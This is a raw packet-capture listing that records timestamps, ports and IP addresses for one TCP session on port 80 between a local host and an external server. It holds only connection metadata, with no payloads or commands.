Nov 24, 2024 02:13:07.246040106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.246102095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.246205091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.252681017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.252782106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.252814054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.252895117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.259335995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.259382010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.266007900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.266051054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.266103983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.267210007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.272696972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.272798061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.277003050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.279345036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.279474020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.279500961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.279639006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.285712957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.285788059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.285816908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.285907030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.291642904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.291810989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.301469088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.301558971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.301584005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.301662922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.303237915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.303349972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.306731939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.307216883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.307934046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.308037996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.310648918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.311394930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.311505079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.314865112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.314893007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.314975023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.315208912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.318398952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.318470955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.319211006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.321820974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.321937084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.323210955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.325265884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.325396061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.325418949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.325501919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.328763008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.328839064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.328866005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.328972101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.332235098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.332299948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.332330942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.332516909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.335680962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.335804939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.335813999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.335908890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.339179039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.339304924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.339318991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.339423895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.342566967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.342658043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.365592003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.365607023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.365947962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.366571903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.366693974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.366699934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.366797924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.370028973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.370156050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.370161057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.370256901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.373509884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.373614073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.373620033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.373720884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.427885056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.427959919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.428463936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.429467916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.429584026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.429614067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.429707050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.432693005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.432816982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.432825089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.432921886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.435902119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.435971975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.436038971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.436280012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.439166069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.439271927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.439280033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.439383030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.442246914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.442349911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.442352057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.442465067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.445115089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.445214987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.445257902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.445338964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.447813034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.447913885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.447926044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.448023081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.450587034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.450679064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.450701952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.450778008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.453128099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.453227043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.453227043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.453325987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.455755949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.455876112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.455877066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.455995083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.458272934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.458378077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.458400965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.458501101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.460720062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.460835934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.460870028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.460977077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.463139057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.463221073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.463252068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.463357925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.465537071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.465639114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.465640068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.465738058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.493331909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.493428946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.493479013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.493606091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.494329929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.494431973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.494437933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.494539976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.495758057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.495874882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.495928049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.496048927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.497652054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.497770071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.497792006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.497874022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.499521971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.499629021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.499634981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.499728918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.501398087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.501513958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.501538992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.501641035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.503297091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.503346920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.503371000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.503487110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.505193949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.505306005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.505306959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.505404949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.507070065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.507195950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.507241964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.508977890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.509073973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.509104013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.510845900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.510966063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.510998964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.511055946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.512728930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.512845039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.512847900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.512931108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.514688015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.514756918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.514766932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.514817953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.516541004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.516642094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.518414021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.518537998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.518564939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.519686937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.520288944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.520401955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.520431995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.520555019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.523977041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.523989916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.524245024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.524420023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.524578094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.524663925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.526256084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.526395082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.526470900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.527863979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.527964115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.527987003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.529769897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.529876947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.529911041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.529959917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.531637907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.531764030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.531847954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.533565998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.533665895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.533691883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.535486937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.535514116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.535552025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.537309885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.537333965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.537409067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.538270950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.541081905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.541096926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.541183949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.541183949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.553618908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.553750038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.553775072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.553961992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.554585934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.554702044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.556425095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.556449890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.556540012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.558157921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.558367014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.558444977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.558470011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.558581114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.560198069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.560308933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.560333967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.560410023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.562098026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.562223911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.563987970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.564016104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.564086914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.564960003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.565810919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.565911055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.619860888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.619991064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.620018959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.620800972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.620827913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.620832920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.620897055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.620897055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.622692108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.622740984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.622770071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.623210907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.624619961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.624649048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.624676943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.624767065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.626463890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.626538038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.626564026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.626652956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.628364086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.628392935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.628416061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.628470898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.630244970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.630306005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.632169962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.632195950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.632221937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.632740974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.634025097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.634119987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.634150028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.634249926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.635929108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.635978937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.636003971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.636122942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.637756109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.637866020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.637880087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.637980938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.639570951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.639695883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.639733076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.639834881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.641326904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.641375065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.641398907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.641510010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.643134117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.643208027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.643244982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.643357992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.644807100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.644911051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.644917965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.645013094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.646466017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.646569967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.646570921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.646682978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.648097992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.648214102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.648238897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.648370981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.649703026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.649811983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.649827957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.649914980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.651274920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.651345015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.651370049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.651447058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.652859926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.652916908 CET	49730	80	192.168.2.4	185.215.113.206
